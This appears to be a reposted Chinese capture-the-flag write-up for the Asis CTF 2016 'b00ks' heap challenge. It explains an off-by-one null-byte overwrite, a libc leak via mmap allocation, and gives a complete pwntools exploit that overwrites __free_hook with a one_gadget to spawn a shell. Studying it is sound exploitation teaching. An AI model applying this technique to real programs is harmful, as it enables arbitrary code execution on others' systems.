Asis CTF 2016——b00ks

瘦欲@ 提交于 2020-11-21 04:29:44

这程序是一个图书管理系统  #off-by-one

程序逻辑

 1 __int64 __fastcall main(__int64 a1, char **a2, char **a3)
 2 {
 3   struct _IO_FILE *v3; // rdi
 4   __int64 savedregs; // [rsp+20h] [rbp+0h]
 5 
 6   setvbuf(stdout, 0LL, 2, 0LL);
 7   v3 = stdin;
 8   setvbuf(stdin, 0LL, 1, 0LL);
 9   hello();
10   input_name();
11   while ( (unsigned int)sub_A89(v3) != 6 )
12   {
13     switch ( (unsigned int)&savedregs )
14     {
15       case 1u:
16         create(v3);
17         break;
18       case 2u:
19         delete(v3);
20         break;
21       case 3u:
22         edit(v3);
23         break;
24       case 4u:
25         print(v3);
26         break;
27       case 5u:
28         input_name();
29         break;
30       default:
31         v3 = (struct _IO_FILE *)"Wrong option";
32         puts("Wrong option");
33         break;
34     }
35   }
36   puts("Thanks to use our library software");
37   return 0LL;
38 }

create后创建book结构体

 1 book = malloc(0x20uLL);
 2 if ( book )
 3 {
 4     *((_DWORD *)book + 6) = size;
 5     *((_QWORD *)off_202010 + v2) = book;
 6     *((_QWORD *)book + 2) = description;
 7     *((_QWORD *)book + 1) = name;
 8     *(_DWORD *)book = ++unk_202024;
 9     return 0LL;
10 }

 

1 stuct book{
2   int id;
3   char *name;
4   char *description;
5   int size;
6 }

author_name偏移:  0x202040

book结构体指针偏移:  0x202060

读取author_name的函数有off by one漏洞,读取32字节

最后的NULL字节可以覆盖掉第一个book结构体指针的最低字节

 1 signed __int64 __fastcall sub_9F5(_BYTE *a1, int a2)
 2 {
 3   int i; // [rsp+14h] [rbp-Ch]
 4   _BYTE *buf; // [rsp+18h] [rbp-8h]
 5 
 6   if ( a2 <= 0 )
 7     return 0LL;
 8   buf = a1;
 9   for ( i = 0; ; ++i )
10   {
11     if ( (unsigned int)read(0, buf, 1uLL) != 1 )
12       return 1LL;
13     if ( *buf == 10 )
14       break;
15     ++buf;
16     if ( i == a2 )
17       break;
18   }
19   *buf = 0; //最后加了一个\x00字节,造成off by one
20   return 0LL;
21 }

内存初始分布

1 0x555555756040: 0x6161616161616161  0x6161616161616161
2 0x555555756050: 0x6161616161616161  0x6161616161616161   <== author name
3 0x555555756060: 0x0000555555757480 <== pointer array    0x0000000000000000
4 0x555555756070: 0x0000000000000000  0x0000000000000000
5 0x555555756080: 0x0000000000000000  0x0000000000000000

NULL覆盖后

1 0x555555756040: 0x6161616161616161  0x6161616161616161
2 0x555555756050: 0x6161616161616161  0x6161616161616161   <== author name
3 0x555555756060: 0x0000555555757400 <== pointer array    0x0000000000000000
4 0x555555756070: 0x0000000000000000  0x0000000000000000
5 0x555555756080: 0x0000000000000000  0x0000000000000000

 

利用思路

为了实现泄漏,首先在 author_name 中需要输入 32 个字节来使得结束符被覆盖掉。之后我们创建 book1 ,这个 book1 的指针会覆盖 author name 中最后的 NULL 字节,使得该指针与 author name 直接连接,这样输出 author name 则可以获取到一个堆指针。

程序中同样提供了一种 change 功能, change 功能用于修改 author name ,所以通过 change 可以写入 author name ,利用 off-by-one 覆盖 pointer array 第一个项的低字节。

覆盖掉 book1 指针的低字节后,这个指针会指向 book1 的 description ,由于程序提供了 edit 功能可以任意修改 description 中的内容。我们可以提前在 description 中布置数据伪造成一个 book 结构,这个 book 结构的 description 和 name 指针可以由直接控制。

但是这个题目特殊之处在于开启 PIE 并且没有泄漏 libc 基地址的方法,因此我们还需要想一下其他的办法。

这道题的巧妙之处在于在分配第二个 book 时,使用一个很大的尺寸,使得堆以 mmap 模式进行拓展。我们知道堆有两种拓展方式一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。

在这里我们申请一个超大的块,来使用 mmap 扩展内存。因为 mmap 分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址。(写个demo试验下,vmmap查看)


exploit

 

 1 from pwn import *
 2 context.log_level="info"
 3 
 4 binary = ELF("b00ks")
 5 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 6 io = process("./b00ks")
 7 
 8 
 9 def createbook(name_size, name, des_size, des):
10     io.readuntil("> ")
11     io.sendline("1")
12     io.readuntil(": ")
13     io.sendline(str(name_size))
14     io.readuntil(": ")
15     io.sendline(name)
16     io.readuntil(": ")
17     io.sendline(str(des_size))
18     io.readuntil(": ")
19     io.sendline(des)
20 
21 def printbook(id):
22     io.readuntil("> ")
23     io.sendline("4")
24     io.readuntil(": ")
25     for i in range(id):
26         book_id = int(io.readline()[:-1])
27         io.readuntil(": ")
28         book_name = io.readline()[:-1]
29         io.readuntil(": ")
30         book_des = io.readline()[:-1]
31         io.readuntil(": ")
32         book_author = io.readline()[:-1]
33     return book_id, book_name, book_des, book_author
34 
35 def createname(name):
36     io.readuntil("name: ")
37     io.sendline(name)
38 
39 def changename(name):
40     io.readuntil("> ")
41     io.sendline("5")
42     io.readuntil(": ")
43     io.sendline(name)
44 
45 def editbook(book_id, new_des):
46     io.readuntil("> ")
47     io.sendline("3")
48     io.readuntil(": ")
49     io.writeline(str(book_id))
50     io.readuntil(": ")
51     io.sendline(new_des)
52 
53 def deletebook(book_id):
54     io.readuntil("> ")
55     io.sendline("2")
56     io.readuntil(": ")
57     io.sendline(str(book_id))
58 
59 createname("A" * 32)
60 createbook(0xd0, "a", 0x40, "a")      #这里要计算一下,使pointer_to_book1最低字节被\x00覆盖后指向des
61 createbook(0x21000, "a", 0x21000, "b")
62 
63 book_id_1, book_name, book_des, book_author = printbook(1)
64 book1_addr = u64(book_author[32:32+6].ljust(8,'\x00'))
65 log.success("book1_address:" + hex(book1_addr))
66 
67 payload = p64(1) + p64(book1_addr + 0x38) + p64(book1_addr + 0x40) + p64(0xffff) #将book1_des伪造成book结构,name指向book2_name,des指向book2_des
68 editbook(book_id_1, payload) 
69 changename("A" * 32)    #pointer_to_book1=pointer_to_book1_des
70 
71 book_id_1, book_name, book_des, book_author = printbook(1) #print(book1_des),此时book1_des为伪造的book结构
72 book2_name_addr = u64(book_name.ljust(8,"\x00"))
73 book2_des_addr = u64(book_des.ljust(8,"\x00"))
74 log.success("book2 name addr:" + hex(book2_name_addr))
75 log.success("book2 des addr:" + hex(book2_des_addr))
76 libc_base = book2_name_addr - 0x5b0010            #固定偏移
77 log.success("libc base:" + hex(libc_base))
78 
79 free_hook = libc_base + libc.symbols["__free_hook"]
80 one_gadget = libc_base + 0x4526a # 0x4f2c5 0x10a38c 0x4f322
81 log.success("free_hook:" + hex(free_hook))
82 log.success("one_gadget:" + hex(one_gadget))
83 editbook(1, p64(free_hook) * 2)         #将book2 des修改为free_hook地址
84 editbook(2, p64(one_gadget))        #将free_hook处修改为one_gadget地址
85 
86 deletebook(2)  执行one_gadget
87 
88 io.interactive()

 https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks

标签
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!